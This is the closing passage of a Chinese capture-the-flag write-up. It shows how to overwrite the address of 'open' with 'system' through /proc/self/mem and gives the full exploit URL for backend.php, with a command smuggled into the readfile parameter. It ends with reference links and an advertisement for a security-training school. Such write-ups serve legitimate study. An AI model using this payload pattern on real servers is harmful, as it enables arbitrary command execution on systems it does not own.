◆ 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。
backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
◆ 直接读取/tmp/i_o_u_hlq就可以直接getflag
参考
Nu1L 西湖论剑wp
https://blog.spoock.com/2019/10/08/proc/https://www.pianshen.com/article/4537767804/相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814141500001&pk_campaign=heetian-wemedia
(CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。)
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

